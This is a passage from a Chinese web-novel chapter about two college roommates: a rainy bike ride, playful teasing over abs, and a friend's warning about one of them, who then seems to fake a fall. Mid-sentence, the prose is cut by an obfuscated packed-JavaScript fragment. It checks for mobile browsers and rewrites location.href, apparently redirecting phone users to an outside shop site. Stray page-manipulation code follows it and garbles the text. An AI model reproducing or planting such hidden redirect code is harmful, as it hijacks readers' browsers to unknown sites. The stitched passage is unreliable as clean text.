他稳住后忍不住道:“温奈你别乱碰,抱着就好了听到没。” “哦……”身后的人声音飘在风里,更糯了点。 双手磨磨蹭蹭从两边环上来了,在他腹部交叠,压住了翻飞的衬衫。 背上还贴了样软乎乎的玩意。 他想起那应该是某人的半边脸蛋,骑了一会儿,他腰间像是被贴了一圈暖宝宝,那一块被裹得有些热。 他想找点什么话题聊聊,后边先传来了点声音。 “对了……你刚才是不是偷偷松手了没告诉我。” “现在才想起来问,反射弧忒长了吧。”池佑开口便被灌了满口的风。 车拐进了一条风大很多的街道。 身后的人脸依旧深深埋着,微弱的一点声音都被裹进衬衫的淡香里。 “太、太坏了……” “你说什么?”池佑没听清,在前头道。 身后无声了一会儿,才又冒出点音。 “……你快点骑,好像有雨滴了。” “大点声,这风太大了!” 温奈闷了会儿,抬起点脸。 “我说——要、下、雨、了!” 他话音刚落,这泼天大雨就势落下。 14.腹肌 这大雨来的太迅猛。 两人只能骑到一半弃车保帅,还是靠打车勉强到了学校后,一齐挂着水先后冲回寝室,里面空无一人。 池佑抽了条挂着的毛巾,递给温奈,他自己也抽了条边擦湿透的手臂和裤子边道:“这雨下的也太突然了。” 温奈把毛巾盖到头发上搓搓搓,还不忘说:“九月的江城都这样的,所以出门最好带把伞。我今天出门急才忘了。” “这样啊,”池佑把毛巾挂椅背上,看了看他的情况,“我湿得还好,你先去洗吧。” “好放心,我洗超快。” “不急,慢也没关系。” 温奈进浴室去了。 池佑到位子边,给手机充上电,在购物网站精挑细选了两辆单车。 之后两人可以一起去上课,比大学生上课常用的小电驴方式健康一点。 他准备等到货了,再给温奈说。 刚下完单,发现有新消息,是韩城宇问他在不在。 他回了句有什么事。 韩城宇:「哥,我上次反思了一下」 韩城宇:「我感觉我玩得烂不是菜,可能因为我用的手柄比较烂」 池佑:「所以」 韩城宇:「所以你的借我玩两天呗」 池佑看了眼时间,思考了下,还是同意了:「什么时候来拿?」 韩城宇:「哥!你真是我亲哥,我现在被雨困外面了,晚四五点去你寝室行不」 池佑:「可以,顺便给我们带个晚饭。」 韩城宇:「好!」 韩城宇:「欸等等,们?」 池佑:「还有我室友。」 韩城宇:「哦哦哦懂了懂了你们要吃什么啊,我刚好在商场里,我跟你说有几家很难吃,有几家还不错」 还没聊几句,温奈洗完出来:“我洗好了,你去吧。” 池佑把手机递给他:“你看看晚上想吃什么,我让朋友顺道带回来。” 温奈放下东西:“啊会不会太麻烦人家?” 池佑一耸肩:“不麻烦,他上赶着的。” 温奈接过来,看了后道:“你朋友也是本地人?好巧,我也觉得这几家很难吃。” 池佑边脱衣服边回:“对啊他是,那你挑家好吃的回他。” 温奈选完给人回了,把手机放到桌上。 一转头,瞥见另一个人正在脱衣服,他擦头发的手停住了。 对方的脊背随着拉衣动作舒展,肌肉拉长、绷紧,布料越过肩胛,滑下手臂,露出宽阔的背部,皮肤是干净的麦色。 待人转身时,就能看见锁骨到肩,以及往下,腰线收得很紧,几颗水珠顺着腹肌线条一路收进裤腰。 脱完上衣的人抓了把有点乱了的头发,将湿了一半的衬衫随手丢到椅背上。 温奈偷偷地看,他还是第一次毫无保留地见到这人这样,平日里两人人作息不同步,他基本没怎么见过对方换衣服。 没想到身材这么好。 池佑正在找待会儿要换的衣服,湿了的穿在身上实在是有些难受,他才先脱了。 不过好像有一道视线太直白了点,实在有些让人难以忽视。 他在经过时,看见人还愣愣地盯着自己,便冲人打了个响指,抓他个正着。 温奈一激灵,睫毛快速地扇动两下,脸赶紧转过去点,想装作没在看,又忽然发现自己已经慢了半拍。 池佑弯了点腰撞进他的视线,“刚看那么认真,现在还心虚啊?” 温奈视线飘回来,理不直气也壮:“你都脱了,我看看怎么了,不会……小气到还要我负责吧。” “哈……”看他昂着小脸盛气凌人的样子,池佑乐到了,“我可没这么说,我高兴呢。” “……高兴什么?” “因为你偷看说明——”池佑向他走近一步。 看着那张脸突然凑近,温奈有一瞬间的晕眩,他想后退却被桌沿挡住了,只好咽了下口水:“说,说明什么……” “说明你羡慕我的身材。”池佑说完,直起身时脸上多了十二分自信。 温奈抹了下脸。 池佑看了眼他的手,道:“我可不小气,你现在要不要摸回来?” 温奈看着他:“摸什么?” 池佑很坦然:“我的锻炼成果啊。” 温奈有些被震住了,有时候他真不知道这人字典里有没有羞耻两个字。 但他听到这样的提议,视线还是控制不住乱飞了,瞄了好几眼,自己先可耻地脸红了。 “摸就摸。” 与其说是摸,其实就是在他腹部挠了一下。 那爪子就有些窘迫似的收回去了。 池佑低头看了看自己被触碰过的地方,顿了会儿,拿浴巾挡上了。 他道:“怎么样,还不错吧。” 温奈看见他擦拭的动作,心想自己又不脏,擦什么,真介意就不要让他摸。 他腹诽一阵,抿了抿唇故意道:“祛魅了。” “嗯?”池佑抬起头。 “硬梆梆的,手感也、也就一般。” 有腹肌也没什么,温奈还是更喜欢自己软软的肚皮。 但他没听到回应。 温奈抬眼,发现池佑正盯着自己。 他一下就心虚了,移开视线没有和他对上,嘴上倒还很硬气:“我可一点也没羡慕。” 半晌,池佑才挑了下眉毛:“硬是因为我刚用力了。” 用力? “哦……” 那又怎样,他还是觉得不如软肚皮。 但两人站着聊半天了,温奈看他还不动,低头绞自己的手指:“你还不进去么,也不怕感冒。” “嗯……那我进去了。” 池佑到浴室里关上门,这才移开浴巾,被摸过的地方触感还很清晰。 和上次不一样,或许因为刚洗完澡还不久,轻轻碰他的手还带着残留的温润。 贴上来时,轻轻柔柔地像有小电流袭过,那一瞬间这里莫名麻了一下。 他把抓着的浴巾衣服放到鼻子下,压住了唇,脑子里忍不住回忆身子有些麻的那刻看到的场景—— 眼前的人低垂着眉,耳廓还带着刚出浴的粉,小脸却绷得都快跟他的腹肌一样紧,视线只顾着落在自己将要触摸的地方。 看上去气势汹汹,其实多摸一秒都不敢。 脸都红成那样了,还说自己不羡慕。 这样想着,厚厚的浴巾下传出一声闷笑。 哎,这样就是可爱吗? 也太有意思了点。 他又想起自行车上被紧紧环抱的感觉,复现的热意重新淌上来,在浴室暖光下渐渐激活了全身的细胞和毛孔,还没洗热水澡,被冷雨淋过的身体就躁了些。 他居然有些兴奋。 这大概就是热血漫男主的魅力吧。 能轻易让人感到温暖。 池佑甚至觉得自己不该洗热水澡了,该冲个凉。 出来时,韩城宇还没来,温奈正对着电脑不知道在打什么。 明明都还没开始上课,只知道具体的课程,但这人好像每天都有事要干。 池佑也就没打扰他,只是去催带饭的快来。 温奈倒是先开口了:“雨好像停了。” 池佑便朝外看了一眼:“是停了,我朋友应该快来了。你正事办完了?” “也不算什么正事,就是跟认识的教授联系约了个时间见面。”温奈合上电脑,伸了个懒腰转回来,下巴枕着手臂看他,“我们现在干嘛,好无聊啊。” 在有限的空间里,池佑的娱乐方式十分匮乏,他道:“你玩不玩端游?” 温奈有些犹豫:“会不会很难?” “不会,有合作的也有竞技的,都不难。” “嗯……那玩玩看。” 于是池佑打开电脑,也就随口一提:“你改天要不要跟我一起去健身房?” 他还没放弃这个念头。 已经搬椅子坐到他身边的人犹豫了会儿,好像对这提议有点心动。 但过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300382|198597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿还是道:“算了吧,那种地方人太多了,我不喜欢。” “你是不喜欢人多还是不喜欢健身?”池佑怀疑道。 “……都不喜欢,出汗的话,身上黏糊糊的,不太舒服。而且人多,发抖喘气感觉会很尴尬。” 池佑若有所思了一阵:“这么腼腆,那你更适合家里健身室。” “大概吧。”温奈道。 游戏开始了,池佑也专注起来。 本来他看温奈有兴趣,都险些不想借给韩城宇了。 直到后边某人操控的游戏小人总是刷新出千奇百怪的死法,池佑才慢慢有些沉默下来。 敲门声响起来了,两人第一关还没过去。 温奈动了下手指,游戏小人又掉到岩浆里去了,他瞄瞄旁边的人,看上去很是心虚。 池佑倒是有些淡然了:“先吃饭吧。” 温奈低低“哦”了一声,看池佑没计较才松口气,跟在人身后一起去迎接他们的饭。 一开门,韩城宇的声音先冒出来:“哎哥,这家店排队排得累死我了,游戏机你可得借我久点。” “嗯知道了。”池佑接过他手上的几个袋子。 他转过身寻思放哪比较好,也就没注意到韩城宇看见他身后的人时嘴角一僵。 温奈见到来人也是一愣,本来想表达感谢的话一句也没说出来。 只是转过头,跟着池佑往里走了。 “欸你是……” 温奈突然出声:“池、池佑,放这里吧,有个前人留下的折叠桌。” 池佑也想起来了,两人便一起把柜子后面的桌子搬出来撑开,把晚餐放上去。 正拆着包装袋,池佑瞥见韩城宇还站在一边,盯着温奈,一脸不知道在想什么的样子。 他眉头顿时一皱。 “韩城宇看什么呢,游戏机在那边,自己拿。” “哦,哦,谢了哥……”韩城宇拿上东西,踟蹰了一下,还是出去了。 刚好包装袋都拆完了,池佑提着一袋子塑料垃圾准备去放门口,开门发现韩城宇居然还没走。 一看见他,这人脸上还急了点,朝他招招手。 池佑有些疑惑,他放下垃圾,迈出来半掩上门,问他:“还有什么事?” 韩城宇莫名大惊小怪:“哥你认识他吗,他就是温奈!” 池佑:“废话,他是我室友。” “靠,哥那你有点背。你知不知道……”韩城宇对上了池佑的视线,他一下子有些不知道怎么说。 “说快点。”池佑要饿穿了,没什么耐心听人在这支支吾吾。 “唉你听完别跟人打起来啊,我也是听说的,就是他可能有……嗯那个病……反正大家都不太喜欢他。”可能顾忌过道还有人,韩城宇没讲那么明白,只是用眼神朝他暗示。 池佑看着他:“你才有病,眼睛乱眨什么?” “哎!”看他没懂,韩城宇大失所望,又急慌慌跟他讲,“就是那个哎那个病啊,他家有人……” 他话还没说完,两人都听到房间内“砰”地一声,隐约还有一声闷哼。 像是人摔了。 池佑转身进门,一眼看见那单薄的身子跪倒在地上。 温奈听见脚步声,抬头看大步进来的人,声音像忍着痛的委屈:“我、我刚刚想过去洗手,不小心被桌脚绊倒了,是不是打扰到你们说话了……对、对不起……” “你道什么歉,”池佑紧皱着眉,“伤到哪了,痛不痛?” 韩城宇在一边,看见他哥一点没把他刚才的话放在心上,一把将人抱起来,放到椅子上,差点吓得魂飞魄散,刚想开口,余光却瞥见了那边桌底下一个东西。 一个空壳纸巾盒。 刚刚好像是没有的吧。 还有点瘪,像被人用力掷在地上过。 “欸,刚才的动静是不是这纸巾盒……”他刚发出点疑惑,声音立刻就被人掩过去了。 “池佑,好痛,膝盖真的好痛。” 被挡住的家伙朝人哀哀叫唤。